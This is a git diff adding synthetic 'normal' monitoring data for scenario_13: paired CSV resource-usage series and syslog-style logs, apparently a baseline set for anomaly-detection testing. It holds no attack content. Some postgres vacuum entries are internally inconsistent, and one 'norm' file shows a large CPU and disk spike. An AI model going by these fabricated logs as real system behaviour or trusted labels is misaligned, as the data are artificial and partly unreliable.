10:06:50 web-app[1234]: GET /api/v1/user/profile status=200 OK +Aug 27 10:06:55 web-app[1234]: GET /api/v1/user/profile status=200 OK diff --git a/norm_dataset/scenario_13/norm_13_14.csv b/norm_dataset/scenario_13/norm_13_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..d61b678e5aa09c79ad983753303333aaca8d79a4 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,13.11,41.95,24.58,1.29,0.85 +2025-08-27T10:00:05Z,14.76,42.66,31.7,1.02,0.75 +2025-08-27T10:00:10Z,15.55,39.0,25.45,1.37,0.82 +2025-08-27T10:00:15Z,17.91,39.03,29.46,1.26,0.8 +2025-08-27T10:00:20Z,14.52,37.98,26.02,1.3,0.77 +2025-08-27T10:00:25Z,18.16,43.52,29.04,1.1,1.13 +2025-08-27T10:00:30Z,16.69,37.88,25.63,1.13,1.09 +2025-08-27T10:00:35Z,19.0,39.59,26.95,1.46,0.95 +2025-08-27T10:00:40Z,18.5,42.18,26.06,1.39,1.02 +2025-08-27T10:00:45Z,12.83,38.4,28.82,1.15,0.98 +2025-08-27T10:00:50Z,16.27,43.12,44.11,1.2,0.84 +2025-08-27T10:00:55Z,14.88,44.98,36.56,1.32,1.07 +2025-08-27T10:01:00Z,14.69,41.33,28.72,0.88,1.29 +2025-08-27T10:01:05Z,13.88,43.64,26.84,1.18,1.0 +2025-08-27T10:01:10Z,16.61,43.12,26.31,0.87,1.08 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b/norm_dataset/scenario_13/norm_13_14.log @@ -0,0 +1,20 @@ +Aug 27 10:00:24 web-app[1234]: GET /api/v1/health status=200 OK +Aug 27 10:00:58 CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:01:25 web-app[1234]: GET /api/v1/health status=200 OK +Aug 27 10:02:02 CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:02:35 postgres[1527]: INFO: starting automatic vacuum of table "public.events" +Aug 27 10:03:10 web-app[1234]: GET /api/v1/user/8 status=200 OK +Aug 27 10:03:40 kubelet[2345]: INFO: Liveness probe succeeded for pod postgres-deployment +Aug 27 10:04:50 postgres[1527]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 0 removed, 528 replaced, 11444 skipped due to pins, 0 frozen; tuples: 1840 removed, 26320 remain, 0 are dead but not yet removable; buffer usage: 8496 hits, 21 misses, 38 dirtied; avg read rate: 1.2 MB/s, avg write rate: 2.5 MB/s +Aug 27 10:05:44 web-app[1234]: GET /api/v1/health status=200 OK +Aug 27 10:06:12 systemd[1]: Starting daily clean up activities... +Aug 27 10:06:41 web-app[1234]: GET /api/v1/health status=200 OK +Aug 27 10:07:19 systemd[1]: Starting daily clean up activities... +Aug 27 10:08:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 27 10:08:35 systemd[1]: Starting daily clean up activities... +Aug 27 10:09:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 27 10:09:40 systemd[1]: Starting daily clean up activities... +Aug 27 10:10:14 web-app[1234]: GET /api/v1/health status=200 OK +Aug 27 10:10:44 systemd[1]: Starting daily clean up activities... +Aug 27 10:11:23 web-app[1234]: GET /api/v1/health status=200 OK +Aug 27 10:11:59 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_13/norm_13_15.csv b/norm_dataset/scenario_13/norm_13_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..ee12ee06a23d40cea4d43bfbc15913a83c4e83df --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_15.csv @@ -0,0 +1,91 @@ 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+2025-08-27T10:06:35Z,13.89,52.61,10.85,1.18,0.77 +2025-08-27T10:06:40Z,16.16,48.43,13.1,1.09,0.81 +2025-08-27T10:06:45Z,14.26,45.53,5.65,0.99,0.74 +2025-08-27T10:06:50Z,11.98,40.78,8.85,1.09,0.71 +2025-08-27T10:06:55Z,18.95,47.15,5.88,1.01,0.34 +2025-08-27T10:07:00Z,15.45,49.49,16.5,1.04,0.7 +2025-08-27T10:07:05Z,11.04,41.91,10.75,1.23,0.72 +2025-08-27T10:07:10Z,17.73,50.5,13.02,1.21,1.1 +2025-08-27T10:07:15Z,11.39,41.98,7.18,0.69,1.07 +2025-08-27T10:07:20Z,16.28,44.37,4.38,1.21,0.72 +2025-08-27T10:07:25Z,17.11,45.74,10.67,1.06,0.83 diff --git a/norm_dataset/scenario_13/norm_13_15.log b/norm_dataset/scenario_13/norm_13_15.log new file mode 100644 index 0000000000000000000000000000000000000000..550731f213f5324c376d1e495006a9d5d96d59cb --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_15.log @@ -0,0 +1,22 @@ +Aug 27 10:00:30 CRON[4455]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:01:30 CRON[4455]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:01:45 systemd[1]: Starting daily clean up activities... +Aug 27 10:01:50 CRON[4455]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:02:15 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 27 10:02:55 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 27 10:03:05 systemd[1]: Starting daily clean up activities... +Aug 27 10:03:15 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 27 10:03:20 postgres[5678]: INFO: starting automatic vacuum of table "mydb.public.events" +Aug 27 10:03:30 postgres[5678]: INFO: automatic vacuum of table "mydb.public.events": index scans: 1, pages: 25 removed, 312 remaining, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:03:45 postgres[5678]: INFO: starting automatic vacuum of table "mydb.public.users" +Aug 27 10:04:05 systemd[1]: Starting daily clean up activities... +Aug 27 10:04:10 CRON[4455]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:04:15 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 27 10:04:45 systemd[1]: Starting daily clean up activities... +Aug 27 10:06:00 web-app[1234]: GET /api/v1/status status=200 OK +Aug 27 10:06:20 web-app[1234]: GET /api/v1/status status=200 OK +Aug 27 10:06:25 systemd[1]: Starting daily clean up activities... +Aug 27 10:06:40 web-app[1234]: GET /api/v1/status status=200 OK +Aug 27 10:06:55 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 27 10:07:10 CRON[4455]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:07:15 web-app[1234]: GET /api/v1/user/42 status=200 OK diff --git a/norm_dataset/scenario_13/norm_13_16.csv b/norm_dataset/scenario_13/norm_13_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..127fbab3ccae393f3e2e619d0cf6fabec5ca8cbe --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,14.49,41.05,35.68,1.55,1.56 +2025-08-27T10:00:05Z,14.6,46.42,31.2,1.41,1.45 +2025-08-27T10:00:10Z,12.98,40.07,29.18,1.95,0.86 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+2025-08-27T10:06:55Z,19.14,47.14,33.76,1.98,1.44 +2025-08-27T10:07:00Z,15.51,42.47,25.35,1.63,1.49 +2025-08-27T10:07:05Z,17.28,44.55,39.49,1.54,1.77 +2025-08-27T10:07:10Z,18.54,45.63,26.47,1.62,1.39 +2025-08-27T10:07:15Z,18.59,42.49,26.99,1.26,1.09 +2025-08-27T10:07:20Z,16.61,42.17,25.15,1.9,0.93 +2025-08-27T10:07:25Z,18.3,46.69,22.48,1.5,1.6 diff --git a/norm_dataset/scenario_13/norm_13_16.log b/norm_dataset/scenario_13/norm_13_16.log new file mode 100644 index 0000000000000000000000000000000000000000..e8bd3d1a41b07df8c4245863a5108a41f51785e8 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_16.log @@ -0,0 +1,17 @@ +Aug 27 10:00:25 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 27 10:00:40 systemd[1]: Starting daily backup activities... +Aug 27 10:01:35 web-app[1234]: POST /api/v1/login status=200 OK +Aug 27 10:02:10 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:02:42 postgres[1532]: [1-1] LOG: database system is ready to accept connections +Aug 27 10:02:55 postgres[1532]: [2-1] INFO: automatic vacuum of table "db.public.user_events": index scans: 1, pages: 0 removed, 256 remaining, 0 skipped due to pins, 0 skipped frozen; tuples: 500 removed, 10000 remaining, 0 are dead but not yet removable +Aug 27 10:03:10 web-app[1234]: GET /api/v1/status status=200 OK +Aug 27 10:03:40 postgres[1532]: [3-1] INFO: automatic vacuum of table "db.public.orders": index scans: 1, pages: 128 removed, 512 remaining, 0 skipped due to pins, 0 skipped frozen; tuples: 1200 removed, 50000 remaining, 0 are dead but not yet removable +Aug 27 10:04:05 kubelet[2345]: INFO Liveness probe succeeded for pod postgres-deployment +Aug 27 10:04:20 web-app[1234]: GET /api/v1/products/all status=200 OK +Aug 27 10:04:45 postgres[1532]: [4-1] INFO: automatic vacuum of table "db.public.products": index scans: 1, pages: 64 removed, 1024 remaining, 0 skipped due to pins, 0 skipped frozen; tuples: 800 removed, 25000 remaining, 0 are dead but not yet removable +Aug 27 10:04:55 systemd[1]: Finished daily backup activities. +Aug 27 10:05:15 web-app[1234]: GET /api/v1/user/18 status=200 OK +Aug 27 10:05:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-deployment +Aug 27 10:06:05 web-app[1234]: POST /api/v1/cart status=201 Created +Aug 27 10:06:30 systemd[1]: Starting daily clean up activities... +Aug 27 10:06:55 web-app[1234]: GET /api/v1/user/20 status=200 OK diff --git a/norm_dataset/scenario_13/norm_13_17.csv b/norm_dataset/scenario_13/norm_13_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..1db98a848eee6e988f15ec0843ef236f12f540d4 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-16T10:00:00Z,18.06,43.24,27.97,1.71,0.68 +2025-07-16T10:00:05Z,13.21,44.06,19.85,0.91,1.1 +2025-07-16T10:00:10Z,9.88,45.93,29.67,1.34,0.99 +2025-07-16T10:00:15Z,18.11,44.41,19.0,1.2,1.08 +2025-07-16T10:00:20Z,16.29,42.32,24.78,1.6,1.11 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+2025-07-16T10:07:05Z,13.57,44.71,22.25,1.2,1.23 +2025-07-16T10:07:10Z,12.86,42.34,26.65,1.27,0.71 +2025-07-16T10:07:15Z,18.86,43.15,35.32,1.22,1.11 +2025-07-16T10:07:20Z,18.71,45.0,25.65,0.8,1.07 +2025-07-16T10:07:25Z,17.17,48.27,22.12,0.91,1.01 diff --git a/norm_dataset/scenario_13/norm_13_17.log b/norm_dataset/scenario_13/norm_13_17.log new file mode 100644 index 0000000000000000000000000000000000000000..5770819de4fc6050cfcc0ad2990e3a3fe07788ed --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_17.log @@ -0,0 +1,20 @@ +Jul 16 10:00:20 systemd[1]: Starting daily clean up activities... +Jul 16 10:01:00 systemd[1]: Starting daily clean up activities... +Jul 16 10:01:15 systemd[1]: Starting daily clean up activities... +Jul 16 10:01:55 systemd[1]: Starting daily clean up activities... +Jul 16 10:02:30 postgres[5432]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 0 removed, 512 remain, 0 skipped due to pins, 0 skipped frozen +Jul 16 10:02:35 web-app[1234]: GET /api/v1/user/42 status=200 OK +Jul 16 10:02:40 web-app[1234]: GET /api/v1/user/31 status=200 OK +Jul 16 10:03:00 web-app[1234]: GET /api/v1/user/11 status=200 OK +Jul 16 10:03:05 systemd[1]: Starting daily clean up activities... +Jul 16 10:03:10 systemd[1]: Starting daily clean up activities... +Jul 16 10:03:25 systemd[1]: Starting daily clean up activities... +Jul 16 10:03:30 web-app[1234]: GET /api/v1/user/34 status=200 OK +Jul 16 10:03:50 web-app[1234]: GET /api/v1/user/35 status=200 OK +Jul 16 10:04:15 systemd[1]: Starting daily clean up activities... +Jul 16 10:04:30 systemd[1]: Starting daily clean up activities... +Jul 16 10:05:25 systemd[1]: Starting daily clean up activities... +Jul 16 10:05:35 web-app[1234]: GET /api/v1/user/13 status=200 OK +Jul 16 10:05:40 systemd[1]: Starting daily clean up activities... +Jul 16 10:06:10 web-app[1234]: GET /api/v1/user/13 status=200 OK +Jul 16 10:06:30 web-app[1234]: GET /api/v1/user/33 status=200 OK diff --git a/norm_dataset/scenario_13/norm_13_18.csv b/norm_dataset/scenario_13/norm_13_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..f8c922e81cc92fcc8cb3b983c75d7100868930fa --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,16.072248684738405,39.852583117255705,36.51268632216319,1.5874251332958575,1.1801537461932412 +2025-08-27T10:00:05Z,16.29252696635396,43.71493362075797,25.894350235030682,1.3142067462243565,0.8503814948974476 +2025-08-27T10:00:10Z,16.974859419029126,42.43925871690657,24.982676960418534,1.3484133560603173,1.0823134958011404 +2025-08-27T10:00:15Z,16.002298565475964,45.860579893975206,29.345984610304395,0.9262419604355154,1.2301485333284095 +2025-08-27T10:00:20Z,13.343075509440862,41.17359815932815,14.807722792916692,1.36472547136313,0.7894737771225977 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10:01:15 systemd[1]: Starting daily clean up activities... +Aug 27 10:01:40 web-app[1234]: POST /api/v1/orders status=201 Created +Aug 27 10:02:05 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:02:30 postgres[5678]: INFO: starting automatic vacuum of table "public.events" +Aug 27 10:02:40 web-app[1234]: GET /api/v1/user/99 status=200 OK +Aug 27 10:02:45 postgres[5678]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 0 removed, 528 skipped due to pins, 0 frozen, 0 promoted, 12345 tuples removable, 56789 non-removable, 1024000 bytes rel size +Aug 27 10:02:55 web-app[1234]: GET /api/v1/dashboard status=200 OK +Aug 27 10:03:10 postgres[5678]: INFO: vacuuming of table "public.user_sessions" completed +Aug 27 10:03:30 web-app[1234]: GET /api/v1/status status=200 OK +Aug 27 10:03:50 postgres[5678]: INFO: automatic vacuum finished: CPU: 1.234s elapsed: 5.678s +Aug 27 10:04:35 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 27 10:05:00 systemd[1]: Daily clean up activities finished. +Aug 27 10:05:25 web-app[1234]: GET /api/v1/products status=200 OK +Aug 27 10:05:50 web-app[1234]: POST /api/v1/login status=200 OK +Aug 27 10:06:15 web-app[1234]: GET /api/v1/user/10 status=200 OK +Aug 27 10:06:40 CRON[7890]: (root) CMD (run-parts --report /etc/cron.daily) +Aug 27 10:07:05 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_13/norm_13_19.csv b/norm_dataset/scenario_13/norm_13_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..1e472e8467fa56e39a00624ba9dcccc0b8b74997 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-01T10:00:00Z,10.73480066531664,43.22237228179025,31.972653466789513,1.0091699050818546,0.7680891545789993 +2025-08-01T10:00:05Z,17.084461478294436,30.599831161514125,22.725034621399125,0.8736620496302175,0.7445570837433322 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db-server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 01 10:00:34 db-server web-app[1234]: GET /api/v1/status status=200 OK +Aug 01 10:00:38 db-server web-app[1234]: GET /api/v1/status status=200 OK +Aug 01 10:00:44 db-server web-app[1234]: GET /api/v1/status status=200 OK +Aug 01 10:01:43 db-server web-app[1234]: GET /api/v1/status status=200 OK +Aug 01 10:01:46 db-server CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 01 10:01:54 db-server kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 01 10:02:04 db-server kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 01 10:02:08 db-server web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 01 10:02:35 db-server postgres[5678]: INFO: automatic vacuum of table "public.users": index scans: 1, pages: 0 removed, 12 remaining, 0 skipped due to pins, 0 skipped frozen +Aug 01 10:02:55 db-server postgres[5678]: INFO: automatic vacuum of table "public.orders": index scans: 1, pages: 24 removed, 50 remaining, 0 skipped due to pins, 0 skipped frozen +Aug 01 10:03:00 db-server postgres[5678]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 150 removed, 300 remaining, 0 skipped due to pins, 0 skipped frozen +Aug 01 10:03:16 db-server postgres[5678]: INFO: automatic vacuum of table "public.products": index scans: 1, pages: 5 removed, 30 remaining, 0 skipped due to pins, 0 skipped frozen +Aug 01 10:03:27 db-server web-app[1234]: GET /api/v1/status status=200 OK +Aug 01 10:04:57 db-server kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 01 10:05:25 db-server kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 01 10:05:32 db-server systemd[1]: Starting daily clean up activities... +Aug 01 10:05:46 db-server kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 01 10:06:02 db-server kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 01 10:06:20 db-server web-app[1234]: GET /api/v1/status status=200 OK diff --git a/norm_dataset/scenario_13/norm_13_2.csv b/norm_dataset/scenario_13/norm_13_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..cb8ac4fd12b27829bf446cfc7f0cdb77fcb560be --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-20T10:00:00Z,14.42001794042916,38.55666419236746,32.36224222389073,1.1110162966313202,0.7069186587208647 +2025-08-20T10:00:05Z,18.98127101421241,37.92419751447491,31.130933288632324,0.8578835158765412,0.8871836179874774 +2025-08-20T10:00:10Z,12.53023297980953,41.42890951628692,28.372139728291213,1.1426995718769866,0.8229099385616732 +2025-08-20T10:00:15Z,15.517535410366893,39.275179426535196,28.711437922976174,1.3649778885775539,0.9074132443669144 +2025-08-20T10:00:20Z,15.253553750856373,38.05342987613108,30.06974113156257,1.1440266998315956,0.7721966980300129 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+2025-08-20T10:07:05Z,18.863660715598968,38.16407368382718,32.651628844201724,1.0432964041176453,1.053780021846949 +2025-08-20T10:07:10Z,12.559069957678062,39.50229392429283,27.271515909823943,1.364244769243357,0.7608665006515343 +2025-08-20T10:07:15Z,17.375396618158316,42.3967663138161,29.05705380566839,1.2229316298674717,0.8459107368310492 +2025-08-20T10:07:20Z,16.13038201605953,38.97800326032973,36.161334588586584,1.0707791358570609,0.7233708567976342 +2025-08-20T10:07:25Z,12.181293147659886,39.535520213026174,28.05188460825019,0.8777746324954379,1.1805616707584194 diff --git a/norm_dataset/scenario_13/norm_13_2.log b/norm_dataset/scenario_13/norm_13_2.log new file mode 100644 index 0000000000000000000000000000000000000000..07f9aa69e56c517d3804da60f8633e5400c2121c --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_2.log @@ -0,0 +1,16 @@ +Aug 20 10:00:00 web-app[887]: GET /api/v1/health status=200 OK +Aug 20 10:01:05 web-app[887]: GET /api/v1/health status=200 OK +Aug 20 10:01:25 systemd[1]: Starting daily clean up activities... +Aug 20 10:02:10 web-app[887]: GET /api/v1/health status=200 OK +Aug 20 10:02:25 CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 20 10:02:40 postgres[1572]: INFO: starting automatic vacuum of table "postgres.public.user_events" +Aug 20 10:02:50 systemd[1]: Starting daily clean up activities... +Aug 20 10:03:15 web-app[887]: GET /api/v1/health status=200 OK +Aug 20 10:04:15 systemd[1]: Starting daily clean up activities... +Aug 20 10:04:20 web-app[887]: GET /api/v1/health status=200 OK +Aug 20 10:04:50 postgres[1572]: INFO: automatic vacuum of table "postgres.public.user_events": index scans: 1, pages: 0 removed, 512 remain, 0 skipped due to pins, 0 skipped frozen, 0 tuples removed, 1345 tuples remain, 123456 total bytes +Aug 20 10:05:25 web-app[887]: GET /api/v1/health status=200 OK +Aug 20 10:05:40 systemd[1]: Starting daily clean up activities... +Aug 20 10:06:30 web-app[887]: GET /api/v1/health status=200 OK +Aug 20 10:07:05 systemd[1]: Starting daily clean up activities... +Aug 20 10:07:15 CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_13/norm_13_20.csv b/norm_dataset/scenario_13/norm_13_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..04ba5694bb3a5b2c1bf6b4800f3cbfb5c2cc2e15 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,10.73480066531664,41.2889489127161,26.972653466789513,1.0091699050818546,0.8680891545789993 +2025-08-27T10:00:05Z,17.084461478294436,36.23993246460565,17.725034621399125,0.8736620496302175,0.844557083743332 +2025-08-27T10:00:10Z,15.186090547386808,37.45011127775401,24.480809571415108,1.0365015311464931,0.9581785397992088 +2025-08-27T10:00:15Z,13.875758652368212,37.830645721644125,24.504721265217594,1.119119366561999,0.788554656440594 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+2025-08-27T10:07:10Z,14.95912401807671,40.45932553551401,23.274790924942966,1.2267498503410883,0.8934456055459951 +2025-08-27T10:07:15Z,18.046373169496718,41.492524536034175,32.90769193997798,1.0348607186976655,0.9366740490690492 +2025-08-27T10:07:20Z,15.259343578827728,39.81796545844078,22.483075375506644,1.3009679355195563,0.5527429251948002 +2025-08-27T10:07:25Z,17.510289796561445,42.368929733991926,22.492006318729512,1.1193035269287983,1.035672023402504 diff --git a/norm_dataset/scenario_13/norm_13_20.log b/norm_dataset/scenario_13/norm_13_20.log new file mode 100644 index 0000000000000000000000000000000000000000..ccd5a3ad472abdb04546f784380c5fa1fc196065 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_20.log @@ -0,0 +1,19 @@ +Aug 27 10:00:10 web-app[1234]: GET /api/v1/user/42 status=200 OK +Aug 27 10:00:45 systemd[1]: Starting daily clean up activities... +Aug 27 10:01:10 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:01:55 web-app[1234]: GET /api/v1/user/101 status=200 OK +Aug 27 10:02:30 postgres[12345]: INFO: starting automatic vacuum of table "public.user_sessions" +Aug 27 10:02:45 postgres[12345]: INFO: automatic vacuum of table "public.user_sessions": index scans: 1, pages: 0 removed, 120 remain, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:03:05 kubelet[2345]: INFO Liveness probe succeeded for pod postgres-deployment +Aug 27 10:03:20 postgres[12345]: INFO: starting automatic vacuum of table "public.events" +Aug 27 10:03:35 web-app[1234]: GET /api/v1/user/50 status=200 OK +Aug 27 10:03:50 postgres[12345]: INFO: automatic vacuum of table "public.events": index scans: 1, pages: 250 removed, 800 remain, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:04:10 postgres[12345]: INFO: starting automatic vacuum of table "public.logs" +Aug 27 10:04:35 postgres[12345]: INFO: automatic vacuum of table "public.logs": index scans: 1, pages: 530 removed, 2100 remain, 0 skipped due to pins, 0 skipped frozen +Aug 27 10:04:50 web-app[1234]: GET /api/v1/user/99 status=200 OK +Aug 27 10:04:55 postgres[12345]: INFO: automatic vacuum finished: CPU: 45.12s/18.34u sec elapsed 145.43 sec +Aug 27 10:05:20 kubelet[2345]: INFO Liveness probe succeeded for pod postgres-deployment +Aug 27 10:05:50 web-app[1234]: GET /api/v1/user/1 status=200 OK +Aug 27 10:06:25 systemd[1]: Starting daily clean up activities... +Aug 27 10:06:50 web-app[1234]: GET /api/v1/user/2 status=200 OK +Aug 27 10:07:15 web-app[1234]: GET /api/v1/user/3 status=200 OK diff --git a/norm_dataset/scenario_13/norm_13_21.csv b/norm_dataset/scenario_13/norm_13_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..8462b82073aa54bad4202b4daf9adf0cbb5032e2 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,16.49,40.49,33.13,1.29,0.9 +2025-08-27T10:00:05Z,14.59,44.84,25.71,0.71,1.11 +2025-08-27T10:00:10Z,16.94,36.49,24.65,1.23,0.78 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+2025-08-27T10:06:50Z,19.43,39.61,13.79,1.17,0.4 +2025-08-27T10:06:55Z,13.45,41.71,24.88,0.97,0.78 +2025-08-27T10:07:00Z,12.57,41.38,28.74,1.0,0.54 +2025-08-27T10:07:05Z,13.49,44.14,23.76,0.8,0.93 +2025-08-27T10:07:10Z,17.75,40.07,38.16,1.0,0.87 +2025-08-27T10:07:15Z,15.99,47.27,22.85,0.94,0.61 +2025-08-27T10:07:20Z,13.41,38.68,27.8,1.06,0.7 +2025-08-27T10:07:25Z,16.54,50.0,30.65,0.83,0.59 diff --git a/norm_dataset/scenario_13/norm_13_21.log b/norm_dataset/scenario_13/norm_13_21.log new file mode 100644 index 0000000000000000000000000000000000000000..f8913d2fd299a81605dcf90b55caf7e4d76e547d --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_21.log @@ -0,0 +1,13 @@ +Aug 27 10:00:10 web-app[1357]: GET /api/v1/user/99 status=200 OK +Aug 27 10:00:32 systemd[1]: Starting daily clean up activities... +Aug 27 10:01:05 web-app[1357]: GET /api/v1/user/21 status=200 OK +Aug 27 10:01:35 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 27 10:01:50 web-app[1357]: GET /api/v1/user/45 status=200 OK +Aug 27 10:02:03 postgres[2134]: [3-1] user=,db=,app=,client= LOG: automatic vacuum of table "mydb.public.events": index scans: 1, pages: 0 removed, 256 remain, 0 skipped due to pins, 0 skipped frozen; CPU: 0.01s/0.02u sec elapsed 0.15 sec +Aug 27 10:02:52 postgres[2134]: [4-1] user=,db=,app=,client= LOG: automatic vacuum of table "mydb.public.user_sessions": index scans: 1, pages: 12 removed, 512 remain, 0 skipped due to pins, 0 skipped frozen; CPU: 0.05s/0.10u sec elapsed 0.52 sec +Aug 27 10:04:09 postgres[2135]: [5-1] user=,db=,app=,client= LOG: database system is ready to accept connections +Aug 27 10:04:56 postgres[2134]: [6-1] user=,db=,app=,client= LOG: automatic analyze of table "mydb.public.events" system usage: CPU: user: 0.02 s, system: 0.01 s, elapsed: 0.08 s +Aug 27 10:05:48 web-app[1357]: GET /api/v1/user/101 status=200 OK +Aug 27 10:06:11 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 27 10:06:39 web-app[1357]: GET /api/v1/user/88 status=200 OK +Aug 27 10:07:02 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_13/norm_13_22.csv b/norm_dataset/scenario_13/norm_13_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..0c9ef2126502a029941b35aec33a07d16aba3a50 --- /dev/null +++ b/norm_dataset/scenario_13/norm_13_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-27T10:00:00Z,15.62,42.37,22.16,1.33,0.72 +2025-08-27T10:00:05Z,15.05,40.83,27.72,1.06,0.81 +2025-08-27T10:00:10Z,13.67,40.02,19.55,0.87,0.83 +2025-08-27T10:00:15Z,20.24,38.72,31.42,0.83,1.15 +2025-08-27T10:00:20Z,14.99,41.07,35.02,1.03,0.85 +2025-08-27T10:00:25Z,11.36,44.68,26.51,0.6,0.82 +2025-08-27T10:00:30Z,14.14,40.47,33.09,1.05,0.61 +2025-08-27T10:00:35Z,18.91,42.41,25.35,1.08,0.88 +2025-08-27T10:00:40Z,16.81,41.82,33.19,1.03,0.98 +2025-08-27T10:00:45Z,20.03,40.76,37.24,0.9,0.94 +2025-08-27T10:00:50Z,16.59,40.19,29.22,0.93,1.39 +2025-08-27T10:00:55Z,12.35,44.16,19.06,0.94,1.09 +2025-08-27T10:01:00Z,17.72,42.05,34.16,0.83,0.85 +2025-08-27T10:01:05Z,17.42,36.86,14.43,1.38,0.7 +2025-08-27T10:01:10Z,13.57,43.57,19.01,0.66,0.74 +2025-08-27T10:01:15Z,15.75,42.18,20.83,0.88,1.16 +2025-08-27T10:01:20Z,17.99,36.3,38.3,0.69,0.99 +2025-08-27T10:01:25Z,16.81,43.0,26.32,1.15,1.05 +2025-08-27T10:01:30Z,17.58,38.26,29.15,0.96,0.63 +2025-08-27T10:01:35Z,12.53,41.58,35.82,1.15,0.66 +2025-08-27T10:01:40Z,19.05,38.45,33.37,0.64,0.51 +2025-08-27T10:01:45Z,5.6,43.63,35.9,1.05,1.04 +2025-08-27T10:01:50Z,7.83,37.79,22.26,0.96,1.12 +2025-08-27T10:01:55Z,13.87,41.65,18.18,0.79,1.6 +2025-08-27T10:02:00Z,15.78,44.57,21.1,1.19,1.21 +2025-08-27T10:02:05Z,13.55,38.06,24.3,0.76,0.83 +2025-08-27T10:02:10Z,8.48,40.63,23.93,0.61,1.05 +2025-08-27T10:02:15Z,16.12,42.79,21.58,1.35,0.99 +2025-08-27T10:02:20Z,11.52,42.82,25.39,0.82,0.89 +2025-08-27T10:02:25Z,14.87,40.01,24.42,0.87,0.67 +2025-08-27T10:02:30Z,64.2,41.63,107.12,1.33,0.77 +2025-08-27T10:02:35Z,84.02,38.59,122.04,0.92,0.99 +2025-08-27T10:02:40Z,61.6,41.56,108.98,0.93,0.88 